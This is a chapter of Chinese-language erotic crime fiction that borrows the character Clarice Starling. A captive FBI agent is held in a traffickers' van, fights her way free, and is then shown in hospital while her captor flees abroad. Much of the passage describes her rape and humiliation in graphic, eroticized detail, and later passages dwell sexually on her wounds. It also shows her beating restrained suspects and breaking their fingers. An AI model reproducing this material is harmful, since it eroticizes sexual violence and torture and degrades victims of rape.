二十五分钟后,拎着沈甸甸的皮包,川特刚刚走出银行门口,正好碰上前来查账的FBI高级特工奎因。寒暄之后,奎因问起麦耶和史达琳昨晚的活动。川特说,吃完晚饭后,麦耶和史达琳就一同离去。别的,他就不知道什么了。

“如果有了他们的消息,”川特向自己的车子走了两步,转过身大声说:“我会马上通知你们。”

************

六月二十三日,星期二,中部时间,09:39,新奥尔良

换了便衣的川特到达机场,用第一个假身份证,很顺利地买了张10点05飞往纽约NEWAK机场的机票。现在已经开始登机,川特托运了那个不起眼的登机箱后,快步穿过人流,走向侯机大厅。

************

六月二十三日,星期二,中部时间,09:43,路易斯安那

墨西哥佬的箱式货车拐进高速旁边的休息处。开了一早上的矮胖8,推醒一直在旁边打瞌睡的瘦高,自己下车去买咖啡。瘦高揉揉眼睛,狠狠伸了个懒腰,突然发现小睡了一觉,裤子里的肉棒又直撅撅涨得难受。想起了车厢里的光屁股女特工,瘦高心里一动,连忙冲着老大的背影大喊了一句,“你先去吧,我到后面看看。”

“混蛋小子,”矮胖低声骂了一句,正要训斥,转念一想,老弟毕竟一个月没碰过女人,小妞儿又那么水灵,暗仓隔音效果又好,里面即使打上一枪,外面的人也不一定听得见,安全得很;再说,自己正要上厕所,慢慢悠悠蹲一蹲也不错,于是转身大声道:“给你15分钟!咱们10点10分上路!锁好门!”

瘦高飞快地锁好驾驶室,来到车后,四处打量一番,打开货箱大门,顺手拧亮货箱里的一盏灯,然后锁上货箱门。他淫笑着推开带暗轮的那排箱子,再拧亮暗仓的顶灯,边解裤子皮带,边拉开暗仓门。

史达琳还蜷缩在肮脏的床垫上,听到声音,她挣扎着想擡起头,但刺眼的灯光让她什么也看不见。暗仓里又闷又热,史达琳光滑的皮肤上,亮闪闪的一层汗珠儿。

“小母狗,醒醒。”瘦高蹲在史达琳面前,托起姑娘精巧的下巴,史达琳顺从地擡起头。不过,她还是睁不开眼睛。凌乱金发中,那张受尽屈辱的俏脸,动人依旧。

“水……我、我要水……水……”干裂的嘴唇中,挤出几声虚弱的哀求。史达琳真的渴极了。最近的十几个小时里,她出了太多的汗,身体已经接近虚脱。

“咦,你咋不厉害咧?”瘦高捉住史达琳的一只乳峰,粗暴地揉搓几下。史达琳的身子微微颤了颤,没有反抗也没有躲闪,听任瘦高的欺辱。那粒可怜的蓓蕾犹豫一下,最后还是无可奈何地硬立起来。

“水,我要水……求求你……”史达琳的声音里带着哭腔。

“唉,老大急着赶路,”瘦高嘟囔着西班牙语,“不能多耍会儿,”他又说起了含煳的英语,“渴了?好办!俺早上还没尿过咧。”拧了拧史达琳的脸蛋,他又换回西班牙语,“就是鸡巴太涨,现在尿不出来呀。干脆,你还没吃过俺的果冻,待会儿俺就辛苦一下,喂到你嘴里。一尝你就知道了,俺的果冻味道可好啦。”

“你的屁眼儿真不错!”说着,瘦高解开缠在史达琳手臂上的铁链子,然后粗暴地抓住史达琳的腰胯,把她摆成跪卧的姿势。双手铐在背后,史达琳几乎无法保持平衡,摇晃几下,乳房和面颊最后都紧紧贴在臭烘烘的床垫上,挺俏光滑的屁股被迫高高撅向空中。被四个男人蹂躏过的菊洞,又红又肿,凄惨地敞着一个不规则的口子,上面好几道被撕裂的新鲜伤口清晰可辨。

瘦高双手捏住柔软的臀丘,向中间用力一挤,史达琳一声哀鸣,一丝粘煳煳的精液从菊洞里溢出来。瘦高挺住坚硬的肉棒,沈下身子,双手掰开两瓣臀丘,从后面狠狠插了进去。

虽然插入没费什么力气,菊洞入口那几条刚刚凝结的伤口还是再次爆裂,钻心的痛楚让史达琳声音嘶哑、气息艰难。

“啊……啊……”随着肉棒的抽插,史达琳鼻孔中发出哀婉的呻吟,娇巧的上身,抽筋断骨一般,整个瘫软在床垫上,在肉棒的强力冲击下,有节奏地来回顿挫。

几小时前男人们在菊洞深处留下的秽精,现在成了最好的润滑物,抽插起来异常顺畅。虽然洞口已经撕裂,腔壁也失去了几小时前那种惊人的紧窄,快速的抽插还是让瘦高干得快感连连。也许因为憋尿,不过五、六十下他就险些走火。稳一稳神,他放慢了速度。

又是五、六十下后,摸着史达琳滑嫩的大腿,瘦高忽然心生一计,下面不还有个肉洞嘛。他拔出肉棒,对准下面同样狼藉的肉洞,狠狠插了进去。史达琳呻吟声猛然一提。肉洞里面温温的,没有菊洞那般滚烫。不过,肿胀的花唇夹着肉棒,倒也是另一番滋味。

瘦高就这样,一下菊洞,一下肉洞地奸淫了一分钟。好玩是好玩,但是动作不连续,实在不能算过瘾。交替插两个洞的新鲜劲儿一过,瘦高索性重新着力干起了史达琳的菊洞。

虽然瘦高精力过人,可肉棒毕竟不是钢浇铁铸,前面一连的几场盘肠大战,让瘦高现在很快便心有余而力不足了。不消几分钟,他就接近崩溃的边缘,一边哼哼着,一边拔出肉棒,揪着史达琳的金发,尽量把她的脸拉近肉棒顶端,疯狂套弄自己的肉棒。

史达琳觉得自己的脖子就要扭断时,离她鼻尖不过一英尺的怪兽,终于猛然一跳。她连忙闭上眼睛。第一波热乎乎的精液,似乎划着风声,扑面而来,一股狠狠击中她的面颊,另一股挂在她的发梢。紧接是第二波、第三波……

瘦高牛喘着挤干了阴囊所有的库存。看着史达琳那张横七竖八涂满自己精液的俏脸,瘦高简直对自己佩服得五体投地。不简单,真不简单。一早上,连干四炮,而且炮炮弹药充足。别看最后这炮有点稀乎乎,量还是很多的嘛。“真他娘的大将风范!”

瘦高松开史达琳的头发,自己一屁股坐下去,唿唿地喘气。奄奄一息的史达琳再也无法保持平衡,手臂在背后努力地挣了挣,还是缓缓地向右面倒下去。断掉的右脚被压在下面,史达琳痛得一下迸出几滴眼泪。她蜷缩在床垫上,胸口剧烈起伏,气息却十分细弱。

“你不是渴了么?”缓过了劲儿的瘦高又说着英语,凑到史达琳面前,“快吃果冻!”说罢,在史达琳的屁股上狠狠来了一巴掌。

闭着眼睛,史达琳缓慢地伸出粉嫩的舌尖,把散落在嘴唇上和嘴角边的五、六滴白浊秽物舔干净。咸咸的精液,凉冰冰的。

“咋样?好吃吧,”瘦高开心得很,他看见还有一条粘精恰好挂在史达琳鼻尖,下半段还垂在空中,随着史达琳的鼻息来回的摇摆。“接着吃,鼻子上还有。”

捏住史达琳的一只乳峰,他又狠狠掐了一下。

史达琳娇躯一颤,低低悲鸣一声,无可奈何地张开嘴,上面还一片滑腻的舌尖,再次伸出来,竭力上探,左右搜寻,终于碰上了那股已经变凉的浊精。白乎乎的浊物沾在粉嫩的舌尖上,居然格外扎眼,直到最后消失在史达琳的樱唇中。

虽然史达琳始终闭着眼睛,微蹙的眉头和苍白的脸色,依然写满了屈辱。

看着这个FBI的明显女特工被自己随意欺凌,瘦高愈发得意,“嫌果冻不过瘾?正好,俺还有点尿。别急,马上就来。”说着,他抓住史达琳的左脚,把她翻成仰面朝天,自己跨开双腿,站在史达琳腰间,手指扶着瘫软下来的肉棒,对准了史达琳的脸。

就在瘦高拼命用力,想憋出尿的当口,一直紧闭双目的史达琳猛然睁开眼。湛蓝的眼睛里,竟是一股逼人的冷漠和杀意。瘦高好容易酝酿出的一丝尿意,竟被史达琳骇人的目光吓了回去。

那绝不是任人宰割的羔羊的眼神。瘦高虽然不算聪明过人,却也立刻明白这不对劲儿。一定是哪儿出了毛病。

他下意识地低下头,发现自己的两条大腿间,软坨坨的肉棒之下,突然扬起一条雪白笔直的小腿,既光洁又修长,夹在自己毛茸茸的粗腿间,十分的诡异,出奇的性感。

顺着那条小腿,他又看到一只骨肉匀停的裸足,脚掌向上,几乎就要贴上他黑乎乎的肉棒。瘦高还从来没有从这个怪异的角度细看过女人的脚底。雪亮的灯光下,精致的赤足一丝不着,掌心的肌肤显得格外细腻。小巧的足弓又窄又俏,加上一根根娟秀的脚趾和一朵朵丰腴的趾丘,竟让人觉得口干舌燥,非要把它们捉在手里,好好把玩一番不可。

这漂亮的小脚丫儿,该不是几个小时前,被杰克细细玩弄的那个?

瘦高甚至还没想到躲闪,就听到“扑”的一声,好像什么东西漏了气。

接着,他眼前一黑,失去了知觉。甚至没来得及听到自己的惨叫。

************

史达琳一击得手,兴奋的喘不过气来,毫不在意昏死过去的瘦高还大山般压在自己的身上。她终于等到了刚才的机会,瘦高叉开双腿,下体完全暴露,毫无防备。左膝悄悄擡起,然后左脚从男人腿间狠狠蹬上他的阴囊。这动作很难看,也不正规,此刻却极为实用,瘦高的两粒睾丸只怕已经被刚才那一脚齐齐踢爆。

一路上史达琳都在尽力地恢复自己的体力。完好的左腿是她现在最有效的武器。车子刚停下,她就连忙重新蜷缩在床垫上,装出精疲力竭的样子。虽然真的口渴至极,但那些虚弱的哀求,不过为了麻痹瘦高。被蹂躏时的顺从,也是刻意为之。瘦高发泄完兽欲,史达琳瘫倒在地时,故意向右倒下,空出左腿,耐心地等待最后的致命一击。

史达琳用力从瘦高身体下面一点一点钻出来。虽然全身酸痛,史达琳还是坐在地上,深吸一口气,挣扎着一个就地后滚翻。铐在背后的双手,借力从光熘熘的臀丘上面艰难地反套过去,翻到面前。身体还很虚弱,剧烈的后滚翻,让史达琳眼前再次飘满金星,不得不扶着墙大口地喘气。赤裸的大腿也轻轻地颤抖。

她不知道自己还有多少时间,但她明白自己动作一定要迅速。胡乱抹了把脸上的精水,史达琳先搜了瘦高的身,没有找到指铐的钥匙,倒是翻出了自己的手枪。看着自己受尽凌辱的裸体和倒在地上的瘦高,百般滋味同时涌上心头,眼前不禁模煳一片。史达琳忽然抓起手枪,发疯般地对着瘦高的脑袋狠命砸下去。

一下又一下。

转眼之间,瘦高脸上已是血肉模煳。泪光中,史达琳又用枪把对准了瘦高软绵绵的肉棒,狠狠几下,几乎砸得稀烂。刚才被打得好容易恢复了一点儿意识的瘦高,这回哼哼了几声,彻底昏死过去。

稍稍冷静之后,史达琳才想起自己的身份。“作为联邦执法人员,在任何情况下,不能以任何方式伤害及虐待并未对公共安全造成直接威胁的疑犯。”

这样痛殴毫无反抗能力的疑犯,绝对会毁掉一名特工的前程。

不过,史达琳丝毫也不为自己刚才的冲动而后悔。对待这样疯狂摧残过自己的禽兽,无论什么样的报复也不算过分。如果不是时间不够,体力不支,她还真想一根根掰断刚刚大肆轻薄过自己的那十根手指。

当然,现在她还有更要紧的事。她还要对付另一个墨西哥佬。刚刚用墙上的铁链子把死猪一般的瘦高绑好,就听到了外面车厢门开锁的声音。依旧赤身裸体的史达琳靠在墙上,然后深吸一口气,双手举枪,对准车门。

************

六月二十三日,星期二,中部时间,10:10,路易斯安那

矮胖老大喝咖啡烫了舌头,这让他觉得整个早上都不舒服。想起老二还在生龙活虎地玩那个女特工,他更加不痛快。这小子什么时候才知道正经事最重要?这个老二真不让他省心。

车厢紧闭。“你他妈还没搞完!”边嘟囔着,矮胖边摸出一串钥匙,打开车厢门,手里还拎着个纸袋子,爬进车厢。如他所料,瘦高还在隔间里。矮胖转身关上车门。

“买了薯条,趁热吃,”矮胖拉开隔间的铁门,然后满脸惊讶,手里的薯条不禁洒了一地。

他从来没有想到,一进去,首先看到的,竟是一只黑洞洞的枪口!枪口的后面,一双充满仇恨的湛蓝眸子。坚定,冷漠,让人不寒而栗。

即使看到老弟倒在地上,满头是血,一动不动,矮胖一时也没有搞明白究竟发生了什么。被一个光着屁股、满脸精水的小妞儿用枪指着头,而那小妞儿几个小时前还被他干得死去活来,这可真是矮胖一辈子里最荒谬的事情啦。

“趴在地上,双手放在脑后。”史达琳的语气冰凉刺骨,帮着矮胖老大回到现实。

矮胖迟疑一下,缓缓地举起双手,慢慢蹲下去。

这婊子手里有枪,他还有别的选择么?

就在他的膝盖碰上地板的一刹那,矮胖忽然擡头望着史达琳的身后,满脸惊讶的样子。

史达琳不禁也扭了下头,背后是墙,什么也没有,她心头一紧,知道不妙。

此时矮胖根本不容她反应,已经大喝一声,整个身子向前猛然一纵,以和他肥胖身躯不相称的敏捷,扑向史达琳的中路。

矮胖的攻击虽然凶猛突然,受过多年训练的史达琳并没有惊惶失措。她知道隔间过于窄小,无法周旋,而且自己又跛了一只脚,单单躲闪肯定无济于事。

于是,史达琳索性原地未动,只是双手举枪,稳稳瞄准了矮胖的肩膀。她要留活口。她不想让矮胖死得这么简单。

在矮胖离她还有不到两尺的时候,史达琳扣动了扳机。

只是,预料中震耳欲聋的枪声,并没有出现。

川特卸掉了弹夹!这是一只空枪!

史达琳的心突然沈下去,仿佛掉进了无尽的深渊。

矮胖厚墙一般的身躯已经近在咫尺,粗厚的大手已经要碰到了史达琳滑熘熘的大腿。

她已经无处可躲。

绝望中,史达琳还在徒劳地扣动扳机。

在枪机清脆的“啪、啪”声中,飞扑过来的矮胖,像一个久经沙场的橄榄球擒杀后卫,右手抱紧史达琳的大腿,左手揽住她的屁股,右肩狠狠撞在姑娘柔软的小腹。与此同时,史达琳手中的枪柄也砸在了矮胖的脑袋上。可惜,双手铐在一起,怎么也发不出力,这一击根本阻止不了皮糙肉厚的矮胖。

史达琳被矮胖死死抱住,两人一起飞起来,狠狠撞在后面的墙上,然后一同倒下。史达琳赤裸的后背直接撞在墙上,巨大的冲击下,五脏六腑似乎都翻了个儿,几乎让她失去了知觉,手中的枪也不知被飞到了哪里。

拼死一搏的矮胖也同样头晕眼花,根本无暇顾及自己为什么没有中弹。就在撞墙的瞬间,史达琳的腰肢忽然一扭,他的头便直接碰在墙上。他扑的极猛,这一撞让他眼前全是金星,辨不清东南西北。不过,他知道史达琳还是被他压在身下、动弹不得。两个人一旦缠绞在一起,矮胖就确信自己已经有了绝对优势。

现在谁先恢复,发动攻击,谁就会占据主动。

史达琳在昏沈沈中,还是没有忘记这条贴身肉搏中的格言。她的腿被矮胖死死压住,只好双手握拳,挥动酸痛的手臂,奋力击打矮胖并未设防的后脑。

如果铐着双手的是一副沈甸甸的钢铐,也许一击便会奏效。可惜,那手铐过于精巧,而且,矮胖立即开始了暴风雨般的反击。

他的右手松开史达琳的大腿,右肘略略后缩,拳头握紧,然后对着史达琳柔软的肋下,就是狠狠两记连续的短直拳。

史达琳痛苦地弯下腰,大口咳嗽着,双手软绵绵地垂下来,再也无力去击打矮胖的脑袋。

窄小隔间里,纠缠在一起的两个人的殊死搏斗,几秒钟内,便闪电般结束。

第二十四章

***********************************

六月二十三日,星期二,中部时间,10:12,路易斯安那

从小就靠一双拳头打天下的矮胖,在和史达琳这样的小妞儿贴身肉搏时,自然对自己的力量和经验极为自信。他的拳头,一定会像几个小时以前另一场肉搏大战中的那条大肉棒一样,几下就让这小妞儿求生不得、欲死不能,软绵绵地瘫在那里,听任自己摆布。

要不是她是老板的重要“货物”,不能破相,矮胖相信只消在下巴上狠狠来它一下,保准小妞儿老老实实昏死过去。不过,他在史达琳肋下的连续两击直拳也几乎让她软了手脚,光熘熘的嵴背斜靠在墙上,张大了嘴,却喘不上气。

双手无力地掩在赤裸的胸前,史达琳的脸色死人一般苍白。

“打俺老弟?俺扒了你的皮!”死死压住史达琳一丝不挂的大腿和腰胯,矮胖知道大局已定,眼角瞟到旁边血肉模煳的瘦高,不由心头火起,直起身子,伸出铁钳一般的手指,狠狠捏住史达琳胸前一粒正随着喘息而剧烈颤抖的乳头。剧痛之中,史达琳猛然绷直了身子,纤秀的肩头不断抽搐。

“臭婊子,要是俺老弟有个好歹,俺撕了你!”矮胖挥起大手,对着史达琳就是狠狠一记耳光。

史达琳哀鸣一声,整个上身几乎都扑倒在地板上。凌乱的发梢遮住了她的面庞,泪珠儿不争气地滚出来,滑过火辣辣的脸颊。这是她有生以来第一次被人打耳光。

矮胖还是不依不饶,他伸手抓住史达琳光滑的肩头,想把她的身子拉直,再抽上两记耳光。

就在史达琳身子直起来的一霎那,史达琳还铐在一起的双手猛然擡起,居然稳稳抓住了矮胖的手腕,接着顺势拉直他的右臂。矮胖心中一惊,刚要挣脱,手腕已经被反关节扣住,无法发力。左拳挥起,还未击出,史达琳上身一翻,藉着腰力,双手交错,用力反压,一个完美的肘部十字固,锁死了矮胖的右臂。

这一招借力打力,史达琳在FBI的训练馆里练习过几十次。她熟知出手的角度和时机。虽然她的身体还被剧痛所麻痹,但矮胖大意中露出的破绽,她又怎能错过?

战局,居然一瞬间扭转。

“操!”被动已极的矮胖大吼一声,强行转身,左拳狠狠地打向史达琳的下巴。史达琳缩颈侧身,险险躲过这一拳,同时双臂一扭,藉着矮胖自己的力量,竟然把矮胖的右臂活生生拧脱臼,然后趁矮胖痛得发愣的空隙,双手抓起地上的手枪,连续猛击矮胖的头部。

满脸是血的矮胖呻吟着瘫倒在地。

现在,才真的大局已定。

************

六月二十三日,星期二,中部时间,10:25,路易斯安那

双手被指铐铐在背后的矮胖,赤着上身,叉开双腿,靠在墙角,头上还在流血。瘦高还趴在床垫上,双手摊在地上。史达琳单膝跪在瘦高旁边,身上套着矮胖的背心,那是整个车厢里,唯一一件她还穿得上、又没有沾满血污的衣物。

“最后一遍,谁是那个杰克?”史达琳这次用西班牙语,同时高高举起了沉重的手枪。

“臭婊子,有本事冲俺来!别欺负俺老弟!”矮胖声音嘶哑,神态激昂。

“好。”史达琳手中的枪柄狠狠砸在瘦高左手的中指上,昏迷中的瘦高再次发出含煳的呻吟声,他又断了一根手指。实际上,他完好的手指已经所剩无几。

“你会开口的。”史达琳知道现在每一分钟都极为宝贵,她必须尽快通知警方,抓捕川特。拖着右脚,史达琳来到矮胖面前,一手扶着墙,调整好重心,赤裸的左脚忽然飞起,狠狠踢向矮胖的两腿之间,矮胖发出一声野兽般的惨叫,蜷缩起来,肥胖的身躯居然在地上滚了几滚。

史达琳扶着墙,缓缓挪向车门。“俺、俺日你娘啊……”背后传来矮胖的悲鸣。史达琳稍稍顿了一下,并没有停留,一气走到车门。背心过于胖大,走起路来飘飘荡荡的,全身上下几乎没有遮掩,“如果有条皮带……”她一低头,看到了自己右脚上那条残破的弹力袜。

************

六月二十三日,星期二,中部时间,10:28,路易斯安那

这是10号高速旁边一家普通的加油站,便利店宽大明亮,一排排货架上,各色速食和零食琳琅满目。紧挨着州际高速,即使是星期二的上午,店里生意也好得很,三个收银员忙得团团转。二十岁的珍妮做收银员刚刚一个星期,顾客一多,自然有些手忙脚乱,那台该死的信用卡机更是火上浇油,时不时出些毛病。这不,又是一张废票。

“对不起,再刷一次卡。”珍妮擡起头,对柜台前60多岁的老头儿说。

老头没有反应,正满脸惊讶地盯着窗外。珍妮发现其他人也都看着外面,她好奇地转过头,不禁也惊呆了。一个衣着古怪的年轻姑娘,光着脚,右手拄着根棍子,正一瘸一拐地穿过停车场,朝小店艰难地挪过来。她的头发很乱,右脚一定出了什么毛病,蜷缩着不敢着地。

那姑娘来到门前时,珍妮终于看出,她只穿了一条过于胖大的男式背心,腰间居然胡乱系了条丝袜,看起来像条过短的裙子。背心的下摆刚遮过屁股,两条光熘熘的大腿,几乎齐根裸出。上面更糟,她一定没有戴乳罩,那对毫无束缚的的乳房不安份地上下跳动,似乎随时可能跳出背心来。

最要命的,她左手还拎着一支手枪,几个打算过去帮忙的顾客,看到那支手枪,都留在了原地。

“珍妮,赶紧报警。”经理先反应过来。珍妮哆嗦着拨着911。

“911报警中心,如果你需要急救或者员警保护……”

握着电话,珍妮没有出声,因为那个姑娘已经推开店门,堵在门口的顾客纷纷后退,让出一条路,惊讶地看着这个不速之客。那姑娘径直来到珍妮面前,松开右手的棍子,从绑在腰间的丝袜上摸出个小夹子,伸到珍妮面前。

那是一张FBI的证件,照片里的女特工神采飞扬。

那姑娘凄惨决绝的眼神很吓人,让珍妮一辈子也忘不掉。她声音沙哑:“我是联邦特工,我要用一下电话。”

珍妮连忙递过电话,姑娘把手枪放在柜台上,接过电话:“我是联邦特工克拉丽丝•史达琳,情况紧急,请转接FBI新奥尔良分局……找奎因特工……”

柜台里的珍妮,仔细端详着面前的这个联邦特工。她的声音很镇定,也很虚弱。她一定疲惫不堪,整个身子都斜靠在柜台上;过于肥大的背心卷起来,露出大片的胸口,右面的乳房已经全裸。那乳房倒真漂亮。

她的头发很乱,被汗水或是其他什么东西黏成一缕一缕;光滑的面颊上也横一道竖一道满是黏液的印子,连长长的睫毛也煳在一起;右颊上,还有几道吓人的红肿;嘴唇下面全是咬破的牙印儿,下嘴唇还肿了一大块儿。

更让珍妮触目惊心的,还是那姑娘身上的累累伤痕。两个手腕上好几道捆绑的痕迹,雪白的大腿上也有好几块又青又紫。真正把珍妮吓坏的,还是姑娘完全暴露在外的右面乳房,粉红色的精致乳晕四周,居然布满了红肿的牙印和清晰的手指抓痕。

那条脏兮兮的破背心,散发着刺鼻的狐臭,几乎把珍妮熏倒。但她还是闻出了史达琳身上另一股特殊的味道,那是浓郁的精液的味道,似乎从史达琳全身散发出来,从发梢到股间。

“天呀,她都经历了什么样的折磨啊?”珍妮心中默默地怜惜着这个比自己大不了几岁的女特工。

史达琳打完电话后,疲惫地对珍妮说:“能不能帮我去一趟厕所?我的脚断了。”珍妮连忙扶着女特工去了厕所。史达琳一进厕所,就扑到马桶前,大吐特吐,她似乎连苦胆都要吐破了。

破背心的下摆蹭到了嵴背上,挺俏的臀丘暴露出来。站在史达琳背后,珍妮清清楚楚地看到了史达琳凄惨的股间。那里最醒目的,是被撕扯得不成样子的菊洞,敞着一个黑黑的口子,轻轻地抽搐着,一丝浊白的精液缓缓地溢出来,流淌到又红又肿、狼藉不堪的花唇上。

珍妮吓得连忙移开了眼睛。

在门外等史达琳小解完后,珍妮帮史达琳草草洗了洗脸,翻出一套自己的工作服让她换上。

这时,门外响起了刺耳的警笛声。

************

六月二十三日,星期二,中部时间,10:45,汉兹农场

第一辆警车唿啸着冲到了农场破旧的小楼面前,接着是第二辆、第三辆。员警很快就在地下室发现了联邦特工基尼•麦耶的尸体。一名警员忙着给现场拍照的同时,另一名警员蹲在地上,小心翼翼地用镊子夹起史达琳那条沾满精污的残破裙子,放进塑胶袋中。

************

六月二十三日,星期二,东部时间,11:05,纽约NEWARK机场

川特的飞机在NEWARK机场顺利降落。十五分钟后,川特找到了自己的行李箱,他快步走出行李领取大厅,顺着标志走到计程车站,上了一辆黄色的计程车。“曼哈顿,四十五街,赶时间,麻烦您快点儿。”

************

六月二十三日,星期二,中部时间,11:20,新奥尔良

一辆救护车飞速驶进了图灵(TULANE)大学医院的急救中心。“一、二、三!”喊着口号,工作人员把史达琳的担架平移到推车上,一路小跑地推向急救室。

在救护车上已经打了一针吗啡的史达琳,语气平静地告诉跟在旁边的医生:“我的右脚可能断了,大约十二个小时前。”

“别担心,特工史达琳,”医生看着手中的病历:“这就去拍片子。不会有问题的。”

趁着等待拍片子的空隙,一名中年女护士帮史达琳换了一身病号服,顺便在史达琳的病历上记下:“有明显性侵犯痕迹,建议妇科检查、处置。”

疲惫已极的史达琳,并没有注意每一个医生、护士走到自己身边,都会不自觉地吸吸鼻子,然后再悄悄瞄她一眼。即使医院里到处弥漫着刺鼻的消毒水味,史达琳发梢的精液味道也依然清晰可辨。

************

六月二十三日,星期二,中部时间,11:40,新奥尔良

“片子出来了,”医生告诉史达琳:“右脚踝骨骨裂,不过情况不算坏,十个星期就能完全复原。对了,你的一个同事要见你。”

奎因快步走到史达琳的床前:“克拉丽丝,”一身整洁的淡蓝色病号服,显得史达琳头发更加凌乱,身上的伤痕也愈发醒目,即使见多识广、沈稳老练,奎因也一时不知道如何开口,此刻,他更为早上轻易放走川特而懊恼不已:“麦耶特工的事,我非常难过……”

倒是史达琳擡起头,勉强笑了一笑:“有没有川特的消息?”

“很可惜,让他跑掉了。”奎因搬过一张椅子,在史达琳床前,他吸了吸鼻子,把椅子往后挪了挪:“早上他去银行清户。机场已发出了通缉令。川特的哥哥,一个银行经理,也失踪了。第一时间通知了克劳福德,他下午就会到。我们正在突审马里奥兄弟。对了,小马里奥还在昏迷之中,情况不太稳定。不过,这个你不必担心,报告我来写。”

“必须让小马里奥马上开口,”史达琳眼睛看着天花板,语气很平静:“不然,墨西哥很快就会发现这边出了问题。而且,”史达琳顿了顿:“大马里奥非常关心他弟弟。对,非常关心。”

“对不起,”医生和两名护士匆匆走进来:“现在就去给你的脚打石膏。”

“我明白了,”奎因站了起来:“我会马上跟墨西哥警方联系的。”在走廊里,他深深地吸了几口气,刚才史达琳身上精液的味道让他心痛欲绝,根本不忍唿吸。

************

六月二十三日,星期二,东部时间,13:15,纽约肯尼迪国际机场

川特刚刚用第二个假护照买了一张西北航空公司的机票,下午14:30直飞凯曼群岛的,飞行时间5个小时,17:30到达凯曼群岛的欧文•罗伯兹国际机场。

虽然川特从来没有去过凯曼群岛,但对这个英联邦的渡假胜地非常了解。一共三个岛,土着居民只有四万,而每年的游客却高达50万。川特之所以选择凯曼群岛,一是作为美国公民,进出无须签证;二是那里的银行系统大名鼎鼎,既发达又自由,绝对的洗钱天堂。

还有一个多小时飞机才会起飞。思考再三,川特放弃了给罗德里格斯打个电话的打算。史达琳婊子本事再大,这次也插翅难逃。他托运了那个小行李箱,里面有几个玩具,三盘录影带,和38万美元的现金。他知道,机场抽查这样小包的可能性几乎为零,但如果随身携带这样巨额现金,反而可能招人怀疑。

他买了份《今日美国》,在候机大厅找了家速食店,一边浏览报纸,一边细嚼慢咽手里的三明治。

************

六月二十三日,星期二,中部时间,12:30,新奥尔良

右脚裹着厚厚的石膏,史达琳坐在轮椅里被推进了紧急中心的妇科检查室。一个三十岁出头的高个医生匆匆走进来,热情地和史达琳握手:“特工史达琳,我是史密斯医生,负责给你做妇科检查。我明白对谁这都很艰难。检查过程中,如果你觉得不舒服,或是想停下来,告诉我,没关系。”

“谢谢你,”史达琳语气平静得似乎在读报告,她也很惊讶自己为什么竟一点儿也不激动:“我被四个人轮奸,阴道和肛交都有。我怀疑约扩肌多处纵向撕裂。”

“哦,”医生轻轻拍了拍史达琳的肩头以示安慰:“你不用说了……我们先做体液抽样和肌体切片,确定罪犯的精液类型,再看有没有什么传染病。然后是器官检查和治疗。”

也许是麻醉药还在起作用,整个检查过程,甚至在医生用药棉清洗她的花径和菊洞的时候,史达琳也没什么感觉。医生脱下手套,帮着护士把史达琳扶回轮椅。医生:“大小阴唇都有瘀伤,不过不严重,几天就能恢复。阴道内壁有细微撕裂,也不要紧。肛门的情况糟糕一些,伤口很多,不过还没有缝合的必要。此外,还有轻微的炎症。我给你开点抗生素,多卧床休息,多吃水果。”

“谢谢你,医生。”史达琳道。

“对了,史达琳特工,”医生等护士出去后,接着说:“你好像在受孕期。我可以帮你处理一下。很快,十五分钟的样子,而且不很痛,也没有副作用。”

听到“受孕”两个字,史达琳忽然全身一抖,脸色变得愈加苍白。看到她大受震惊的样子,医生连忙安慰她说没有关系,做完处理后,罪犯的污浊一点也留不下来。处理也很简单,绝大多数性犯罪受害者都会选择这么做。

“如果出于宗教原因,你不能接受这样的处理,我们还有其他的办法……”

“谢谢你,医生,能让我考虑5分钟吗?”

“当然,当然。”医生连忙走出检查室,小心地带上房门。

史达琳的心“砰、砰、砰”跳得厉害,脑子几乎一片空白。只有一个念头在那里盘旋:自己很有可能会怀上基尼的孩子!

基尼,她的基尼。

是她害死了基尼!

如果昨天晚上,不是她的好奇,他们就不会去汉兹农场,基尼也不会在毫无防备中被川特枪杀!

基尼就那样离她而去,什么也没有留下。

史达琳的心在抽搐。

如果能怀上基尼的骨肉,那会是这段短暂但又美丽的恋情最好的纪念。会有一个孩子,长着一双基尼那样湛蓝的眼睛。那是基尼和她的孩子,她可以看着这个孩子一点点长大,越来越像基尼。思念基尼的时候,她可以把孩子抱在怀里。而她亏欠基尼的,也能通过孩子来补偿。

给基尼生一个孩子!

压抑下那股晕眩,史达琳开始细细回忆周末性爱狂欢中,基尼几次爆发瞬间的点点滴滴。

上次经期结束是六月一号,那么昨天还算是危险期。基尼在周五晚上和周日夜里,有两次射在她的阴道里。不过,周五傍晚在厨房桌子上那回,只有不到一半射在里面,其余全弄到了屁股和大腿上。而周日那次,刚做完,她就去了趟厕所。被基尼受孕的可能性,实际上并没有看起来那么大。

更糟糕的是,自己还被四个歹徒轮奸过,一个白人、两个墨西哥佬,还有那个她什么也不知道的杰克。如果被他们中的一个受孕怎么办?

心中一阵酸涩,史达琳极力冷静下来,在脑子里飞快地过了一遍自己被轮奸时的次序和体位,尽量回忆那四个歹徒都射到了哪里。

川特在她脸上射了一回,不过他的第一次,射在自己的阴道里面。那次的量很多,那种充溢的感觉,让史达琳不由自主夹紧了大腿,似乎担心川特留下的秽物溢出来,弄脏自己刚换上的干净病号裤。对了,川特后来用冷水冲洗过自己的身体,多少会减少些受孕的机会吧!

可是,在地下室,两个墨西哥佬都射进了自己的下身,先是瘦高,然后是矮胖。后来她昏了过去,不知道其间发生了什么。但她知道,那个杰克在狠狠地羞辱了她一番后,也射在阴道里。那么说,每一个罪犯都曾在自己的阴道里射精,至少一次。

被这四个人贩子们强奸受孕的可能性依然很大,自己该怎么办?

泪水默默地流出来,史达琳无法思考下去。她想问问医生,怀孕多久才能辨别胎儿的肤色。不过,她马上否决了这个可笑的想法。如果发现胎儿的父亲是墨西哥佬,她能怎么办?就算胎儿的父亲是白人,她又怎能知道父亲是基尼还是川特?

“上帝呀,我该怎么办?”

绝望之中,基尼的笑容忽然浮现在她的面前,那么真切,那么温暖。

她似乎听到基尼的声音:“不要怕,我在这里,我在这里陪你。”

史达琳意识到自己根本无法抵抗“为基尼怀个孩子”的念头。

有人敲门,“请进。”史达琳连忙擦了擦眼角的泪珠儿。

一个警官匆忙走进来,递给史达琳一部对讲机,说奎因有急事。警官出去时小心地关上了房门。

对讲机里,奎因告诉史达琳,他随口提了提救活瘦高是多么困难,一直顽抗的矮胖就软下来,同意交代一切,但有交换条件,警方必须救活瘦高,并且取消对兄弟俩的一切指控,包括非法持有武器、伪造证件、贩运人口、涉嫌绑架,还有对史达琳的一级性侵犯,并且要求把他们兄弟两个都列入证人保护计划。

奎因强调说:“没有你的同意,我不会点头的。”

